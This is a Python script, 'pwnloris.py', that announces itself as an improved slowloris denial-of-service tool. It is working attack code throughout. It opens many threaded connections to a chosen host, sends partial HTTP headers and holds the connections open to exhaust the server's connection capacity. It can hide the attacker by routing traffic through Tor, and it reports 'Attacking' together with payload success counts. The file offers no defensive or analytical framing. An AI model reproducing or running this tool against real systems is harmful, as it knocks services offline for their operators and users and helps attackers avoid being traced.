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pwnloris.py
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#!/usr/bin/env python3
import sys
import socks
import socket
import time
import signal
import threading
import argparse
import errno
args = None
def slowloris():
url = args.host
hostport = url.split(':')
host = hostport[0]
port = int(hostport[1]) if len(hostport) == 2 else 80
print_target(host, port)
print_status()
start_attack_thread(host, port)
try:
interruptable_event().wait()
except KeyboardInterrupt:
sys.exit(0)
def start_attack_thread(host, port):
i = 0
while i < args.threads:
try:
thread = threading.Thread(target=setup_attack, args=[host, port])
thread.daemon = True
thread.start()
i += 1
except:
pass
def setup_attack(host, port):
while True:
sockets = []
tries_failed = 0
while True:
sock = None
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if args.tor:
socks.set_default_proxy(socks.PROXY_TYPE_SOCKS5, args.sockshost, args.socksport)
socket.socket = socks.socksocket
except OSError as e:
# errno.ENOENT (24) is the error number for "Too many open files" when exceeds ulimit
if e.errno == errno.ENOENT:
tries_failed += 1
if tries_failed > 5:
break
continue
except:
continue
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
if sys.platform == 'linux' or sys.platform == 'linux2':
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 1)
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, args.interval)
elif sys.platform == 'darwin':
sock.setsockopt(socket.IPPROTO_TCP, 0x10, args.interval)
elif sys.platform == 'win32':
sock.ioctl(socket.SIO_KEEPALIVE_VALS, (1, args.keepalive * 1000, args.interval * 1000))
sock.settimeout(5)
sockets.append(sock)
if not send_payload(sock, host, port):
tries_failed += 1
if tries_failed > 5:
break
time.sleep(args.keepalive)
disconnect_sockets(sockets)
def send_payload(sock, host, port):
random = int(time.time() * 1000) % 10000
method = 'POST' if random % 2 == 0 else 'GET'
payload = ('%s /?%i HTTP/1.1\r\n'
'Host: %s\r\n'
'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1\r\n'
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\n'
'Connection: Keep-Alive\r\n'
'Keep-Alive: timeout=%i\r\n'
'Content-Length: 42\r\n') % (method, random, host, args.keepalive)
try:
args.tor and sock.get_proxy_sockname()
sock.connect((host, port))
sock.sendall(payload.encode('utf-8'))
except (AttributeError, socks.ProxyConnectionError):
print_status('waiting for TOR\u2026')
return True
except Exception as e:
send_payload.amount_failed += 1
print_status()
return False
send_payload.amount_success += 1
print_status()
return True
send_payload.amount_success = 0
send_payload.amount_failed = 0
def print_target(host, port):
str_target = 'Attacking \033[1m%s:%i\033[0m' % (host, port)
print(str_target)
def print_status(str_extra=None):
str_success = '\033[92mPayloads successful: %i' % send_payload.amount_success
str_and = '\033[90m, '
str_failed = '\033[91mpayloads failed: %i' % send_payload.amount_failed
str_extra = ('\033[0m, ' + str_extra if str_extra else '')
print(str_success + str_and + str_failed + str_extra + '\033[0m', end='\r')
sys.stdout.write("\033[K")
def disconnect_sockets(sockets):
for sock in sockets:
try:
sock.shutdown(SHUT_RDWR)
except:
pass
finally:
sock.close()
def interruptable_event():
e = threading.Event()
def patched_wait():
while not e.is_set():
e._wait(3)
e._wait = e.wait
e.wait = patched_wait
return e
def signal_handler(signal, frame):
print_status(':)\n')
sys.exit(0)
if __name__ == '__main__':
print("\033[94m")
print(r"______ _ _ _ _ _ ___________ _____ _____")
print(r"| ___ \ | | | \ | || | | _ | ___ \_ _/ ___|")
print(r"| |_/ / | | | \| || | | | | | |_/ / | | \ `--. ")
print(r"| __/| |/\| | . ` || | | | | | / | | `--. \ ")
print(r"| | \ /\ / |\ || |___\ \_/ / |\ \ _| |_/\__/ /")
print(r"\_| \/ \/\_| \_/\_____/\___/\_| \_|\___/\____/ ")
print(r"An improved slowloris DOS tool by h0ussni")
print("\033[0m\n", flush=True)
parser = argparse.ArgumentParser()
parser.add_argument('host', metavar='Host', nargs=None, help='host to be tested')
parser.add_argument('-t', '--tor', help='enable to attack through TOR', action="store_true")
parser.add_argument('-n', dest='threads', type=int, default=8, nargs='?', help='number of threads (default 8)', action="store")
parser.add_argument('-k', dest='keepalive', type=int, default=90, nargs='?', help='seconds to keep connection alive (default 90)', action="store")
parser.add_argument('-i', dest='interval', type=int, default=5, nargs='?', help='seconds between keep alive check intervals (default 5)', action="store")
parser.add_argument('-sh', dest='sockshost', default='127.0.0.1', nargs='?', help='host TOR is running (default 127.0.0.1)', action="store")
parser.add_argument('-sp', dest='socksport', type=int, default=9050, nargs='?', help='port TOR is using (default 9050)', action="store")
args = parser.parse_args()
if sys.platform != 'win32':
signal.signal(signal.SIGHUP, signal_handler)
signal.signal(signal.SIGINT, signal_handler)
slowloris()